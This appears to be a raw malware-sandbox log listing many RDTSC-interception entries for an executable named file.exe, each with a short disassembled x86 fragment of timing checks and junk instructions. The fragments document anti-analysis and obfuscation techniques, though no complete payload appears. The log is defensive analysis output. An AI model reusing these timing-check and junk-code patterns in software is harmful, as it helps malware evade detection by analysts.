Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58185E second address: 569D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F8EA84FC128h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000019h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 clc 0x00000022 and edi, 2F5876DDh 0x00000028 push eax 0x00000029 stc 0x0000002a pop edx 0x0000002b lea eax, dword ptr [ebp+124842BFh] 0x00000031 push 00000000h 0x00000033 push ebp 0x00000034 call 00007F8EA84FC128h 0x00000039 pop ebp 0x0000003a mov dword ptr [esp+04h], ebp 0x0000003e add dword ptr [esp+04h], 0000001Ch 0x00000046 inc ebp 0x00000047 push ebp 0x00000048 ret 0x00000049 pop ebp 0x0000004a ret 0x0000004b push eax 0x0000004c push ecx 0x0000004d push eax 0x0000004e pushad 0x0000004f popad 0x00000050 pop eax 0x00000051 pop ecx 0x00000052 mov dword ptr [esp], eax 0x00000055 mov dword ptr [ebp+122D2AA1h], edi 0x0000005b call dword ptr [ebp+1244F4FDh] 0x00000061 pushad 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 popad 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6F61 second address: 5C6F67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6F67 second address: 5C6F79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F8EA84FC12Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9FCA second address: 5C9FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F8EA8EA37D6h 0x0000000a pop ecx 0x0000000b jmp 00007F8EA8EA37DAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9FDF second address: 5C9FE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CC253 second address: 5CC259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE11 second address: 5CBE15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE15 second address: 5CBE19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF18D second address: 5CF1A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F8EA84FC12Ah 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEA19 second address: 5CEA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CEA1D second address: 5CEA23 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CED22 second address: 5CED3E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8EA8EA37E6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F8EA8EA37DEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2C0E second address: 5D2C13 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7ED0 second address: 5D7ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7ED4 second address: 5D7EEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F8EA84FC132h 0x0000000e jl 00007F8EA84FC126h 0x00000014 jg 00007F8EA84FC126h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D7EEE second address: 5D7EFB instructions: 0x00000000 rdtsc 0x00000002 js 00007F8EA8EA37D8h 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D82EF second address: 5D830E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F8EA84FC131h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D830E second address: 5D8317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8317 second address: 5D831B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5811AD second address: 5811C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5811C9 second address: 5811CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5811CF second address: 58123B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8EA8EA37D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F8EA8EA37D8h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2CBBh], edi 0x0000002d mov edi, dword ptr [ebp+122D38F1h] 0x00000033 mov ebx, dword ptr [ebp+124842FEh] 0x00000039 or dword ptr [ebp+122D2AFEh], esi 0x0000003f add eax, ebx 0x00000041 mov ecx, 03BC583Ch 0x00000046 mov dword ptr [ebp+122D3704h], eax 0x0000004c nop 0x0000004d jng 00007F8EA8EA37F3h 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F8EA8EA37E1h 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58123B second address: 58123F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58123F second address: 58124C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 58124C second address: 581256 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8EA84FC126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 581256 second address: 5812BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b call 00007F8EA8EA37E5h 0x00000010 jmp 00007F8EA8EA37E6h 0x00000015 pop ecx 0x00000016 push 00000004h 0x00000018 push 00000000h 0x0000001a push esi 0x0000001b call 00007F8EA8EA37D8h 0x00000020 pop esi 0x00000021 mov dword ptr [esp+04h], esi 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc esi 0x0000002e push esi 0x0000002f ret 0x00000030 pop esi 0x00000031 ret 0x00000032 add dword ptr [ebp+12455392h], eax 0x00000038 push eax 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c push ecx 0x0000003d pop ecx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5813C2 second address: 58140B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 jnc 00007F8EA84FC12Bh 0x0000000c push 0000001Eh 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F8EA84FC128h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 0000001Bh 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 mov dword ptr [ebp+122D2A9Ch], esi 0x0000002e nop 0x0000002f push ecx 0x00000030 push eax 0x00000031 push ebx 0x00000032 pop ebx 0x00000033 pop eax 0x00000034 pop ecx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D8723 second address: 5D872D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F8EA8EA37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D872D second address: 5D8767 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F8EA84FC13Bh 0x0000000e jmp 00007F8EA84FC135h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F8EA84FC133h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5294 second address: 5E529C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E529C second address: 5E52A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E52A2 second address: 5E52A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3306 second address: 5E3319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA84FC12Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3319 second address: 5E331E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E331E second address: 5E3346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC130h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jl 00007F8EA84FC128h 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F8EA84FC12Ah 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3346 second address: 5E334C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E334C second address: 5E3352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3489 second address: 5E34B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8EA8EA37DCh 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E34B1 second address: 5E34B9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3719 second address: 5E371E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E371E second address: 5E3747 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC132h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8EA84FC12Eh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3A2F second address: 5E3A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3A35 second address: 5E3A55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC130h 0x00000007 jl 00007F8EA84FC126h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3A55 second address: 5E3A59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E3A59 second address: 5E3A7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007F8EA84FC135h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4F45 second address: 5E4F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E84C0 second address: 5E84CE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E84CE second address: 5E84D4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8785 second address: 5E8790 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8790 second address: 5E8794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E8794 second address: 5E87D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8EA84FC138h 0x0000000c pushad 0x0000000d popad 0x0000000e jc 00007F8EA84FC126h 0x00000014 popad 0x00000015 jl 00007F8EA84FC13Fh 0x0000001b jmp 00007F8EA84FC133h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ED8FD second address: 5ED909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4DD7 second address: 5F4DDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4DDB second address: 5F4DE8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4DE8 second address: 5F4DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F53CF second address: 5F53D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F56BB second address: 5F56BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F56BF second address: 5F56C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F5926 second address: 5F592A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F496D second address: 5F4982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8EA8EA37D6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F8EA8EA37D6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4982 second address: 5F498E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jng 00007F8EA84FC126h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC677 second address: 5FC67D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FC67D second address: 5FC69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 jc 00007F8EA84FC13Eh 0x0000000d jmp 00007F8EA84FC12Eh 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A73F second address: 60A74F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jo 00007F8EA8EA37D6h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A74F second address: 60A776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a js 00007F8EA84FC126h 0x00000010 pop eax 0x00000011 jng 00007F8EA84FC136h 0x00000017 jmp 00007F8EA84FC12Ah 0x0000001c jc 00007F8EA84FC126h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A776 second address: 60A794 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F8EA8EA37D6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push edx 0x0000000c pop edx 0x0000000d jmp 00007F8EA8EA37DCh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60A794 second address: 60A798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60CD4E second address: 60CD58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F8EA8EA37D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619F1E second address: 619F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 619D7D second address: 619DBD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8EA8EA37DDh 0x0000000e jmp 00007F8EA8EA37E5h 0x00000013 jmp 00007F8EA8EA37E4h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61CED4 second address: 61CEE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F8EA84FC126h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61CEE0 second address: 61CF15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F8EA8EA3800h 0x0000000f pushad 0x00000010 jmp 00007F8EA8EA37E1h 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623F33 second address: 623F37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622ABA second address: 622AC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622AC3 second address: 622ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622ACB second address: 622AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622AD3 second address: 622ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622ADE second address: 622AEA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622AEA second address: 622AF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622C50 second address: 622C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622C56 second address: 622C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA84FC136h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007F8EA84FC128h 0x0000001a pushad 0x0000001b jc 00007F8EA84FC126h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622C8C second address: 622CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8EA8EA37E1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622CA2 second address: 622CB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8EA84FC130h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622CB6 second address: 622CD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8EA8EA37E8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622DFA second address: 622E04 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62331E second address: 623326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 623326 second address: 62333C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8EA84FC131h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 626651 second address: 626657 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
